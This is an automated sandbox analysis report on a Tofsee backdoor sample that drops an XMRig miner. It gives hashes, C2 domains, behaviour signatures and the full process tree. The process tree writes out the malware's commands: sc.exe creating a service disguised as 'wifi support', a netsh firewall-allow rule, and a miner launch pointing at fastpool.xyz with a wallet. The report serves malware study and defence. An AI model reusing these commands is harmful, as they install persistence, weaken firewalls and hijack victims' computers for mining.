Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    06/11/2023, 09:19

General

  • Target

    446fec896bd9a5d0bffb8939a709229d70698d7b5b05676f624a8b7378ac512f.exe

  • Size

    256KB

  • MD5

    f9b13ef761c69618b2c99e1f4a2adaa1

  • SHA1

    77af673725cd8a50356b5cb4a0aba0a2cbc65be3

  • SHA256

    446fec896bd9a5d0bffb8939a709229d70698d7b5b05676f624a8b7378ac512f

  • SHA512

    7d78c5fe458e4b9fdaea5adb5fd298f68fb4857e8b31867a09640fe58f820b251645058a6366fc5a7b8f3e4d096ee24b4553f947b1cb51cdc48c4e7e20ee9415

  • SSDEEP

    6144:dclJj1ofwtR7piuA9qKhsv2Yl4vyqv/+nc3+K2Ho:qX1ofEdAi4Hv/och

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\446fec896bd9a5d0bffb8939a709229d70698d7b5b05676f624a8b7378ac512f.exe
    "C:\Users\Admin\AppData\Local\Temp\446fec896bd9a5d0bffb8939a709229d70698d7b5b05676f624a8b7378ac512f.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1772
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bwjmvfiw\
      2⤵
        PID:2868
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gsivjiae.exe" C:\Windows\SysWOW64\bwjmvfiw\
        2⤵
          PID:2108
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bwjmvfiw binPath= "C:\Windows\SysWOW64\bwjmvfiw\gsivjiae.exe /d\"C:\Users\Admin\AppData\Local\Temp\446fec896bd9a5d0bffb8939a709229d70698d7b5b05676f624a8b7378ac512f.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2964
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description bwjmvfiw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2704
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start bwjmvfiw
          2⤵
          • Launches sc.exe
          PID:2828
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2756
      • C:\Windows\SysWOW64\bwjmvfiw\gsivjiae.exe
        C:\Windows\SysWOW64\bwjmvfiw\gsivjiae.exe /d"C:\Users\Admin\AppData\Local\Temp\446fec896bd9a5d0bffb8939a709229d70698d7b5b05676f624a8b7378ac512f.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2932
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2632
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2784

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\gsivjiae.exe

              Filesize

              10.9MB

              MD5

              f8f64caf3125cdfc5d09d972fc9073e1

              SHA1

              9427c46b223e1a5e81fb76a9cd9c7971ea315516

              SHA256

              7d15b8b7baec0e96c0b1f105452d20d0f2f508eda08408bfe9542262304ded2e

              SHA512

              0d6f3196568fc36fe483312e709a2a1afc994e3a71c64232eb546d56e761ed246e2cbd18841f803cbdc1a93594bfc4b514b6a6d70c239443a44d0f3372ea4f26

            • C:\Windows\SysWOW64\bwjmvfiw\gsivjiae.exe

              Filesize

              10.9MB

              MD5

              f8f64caf3125cdfc5d09d972fc9073e1

              SHA1

              9427c46b223e1a5e81fb76a9cd9c7971ea315516

              SHA256

              7d15b8b7baec0e96c0b1f105452d20d0f2f508eda08408bfe9542262304ded2e

              SHA512

              0d6f3196568fc36fe483312e709a2a1afc994e3a71c64232eb546d56e761ed246e2cbd18841f803cbdc1a93594bfc4b514b6a6d70c239443a44d0f3372ea4f26

            • memory/1772-1-0x0000000000970000-0x0000000000A70000-memory.dmp

              Filesize

              1024KB

            • memory/1772-2-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/1772-4-0x0000000000400000-0x00000000007CA000-memory.dmp

              Filesize

              3.8MB

            • memory/1772-7-0x0000000000400000-0x00000000007CA000-memory.dmp

              Filesize

              3.8MB

            • memory/1772-8-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/2632-37-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2632-41-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2632-12-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2632-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2632-15-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2632-57-0x0000000005590000-0x000000000599B000-memory.dmp

              Filesize

              4.0MB

            • memory/2632-19-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2632-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2632-22-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2632-23-0x0000000001980000-0x0000000001B8F000-memory.dmp

              Filesize

              2.1MB

            • memory/2632-26-0x0000000001980000-0x0000000001B8F000-memory.dmp

              Filesize

              2.1MB

            • memory/2632-27-0x00000000000A0000-0x00000000000A6000-memory.dmp

              Filesize

              24KB

            • memory/2632-30-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2632-33-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2632-34-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2632-35-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2632-36-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2632-58-0x0000000000160000-0x0000000000167000-memory.dmp

              Filesize

              28KB

            • memory/2632-38-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2632-39-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2632-40-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2632-54-0x0000000005590000-0x000000000599B000-memory.dmp

              Filesize

              4.0MB

            • memory/2632-42-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2632-43-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2632-44-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2632-45-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2632-46-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2632-47-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2632-48-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2632-49-0x00000000000C0000-0x00000000000D0000-memory.dmp

              Filesize

              64KB

            • memory/2632-50-0x00000000000D0000-0x00000000000D5000-memory.dmp

              Filesize

              20KB

            • memory/2632-53-0x00000000000D0000-0x00000000000D5000-memory.dmp

              Filesize

              20KB

            • memory/2784-62-0x0000000000210000-0x0000000000301000-memory.dmp

              Filesize

              964KB

            • memory/2784-63-0x0000000000210000-0x0000000000301000-memory.dmp

              Filesize

              964KB

            • memory/2784-72-0x0000000000210000-0x0000000000301000-memory.dmp

              Filesize

              964KB

            • memory/2784-71-0x0000000000210000-0x0000000000301000-memory.dmp

              Filesize

              964KB

            • memory/2784-73-0x0000000000210000-0x0000000000301000-memory.dmp

              Filesize

              964KB

            • memory/2784-74-0x0000000000210000-0x0000000000301000-memory.dmp

              Filesize

              964KB

            • memory/2784-75-0x0000000000210000-0x0000000000301000-memory.dmp

              Filesize

              964KB

            • memory/2784-76-0x0000000000210000-0x0000000000301000-memory.dmp

              Filesize

              964KB

            • memory/2784-77-0x0000000000210000-0x0000000000301000-memory.dmp

              Filesize

              964KB

            • memory/2932-11-0x0000000000400000-0x00000000007CA000-memory.dmp

              Filesize

              3.8MB

            • memory/2932-10-0x0000000000870000-0x0000000000970000-memory.dmp

              Filesize

              1024KB

            • memory/2932-17-0x0000000000400000-0x00000000007CA000-memory.dmp

              Filesize

              3.8MB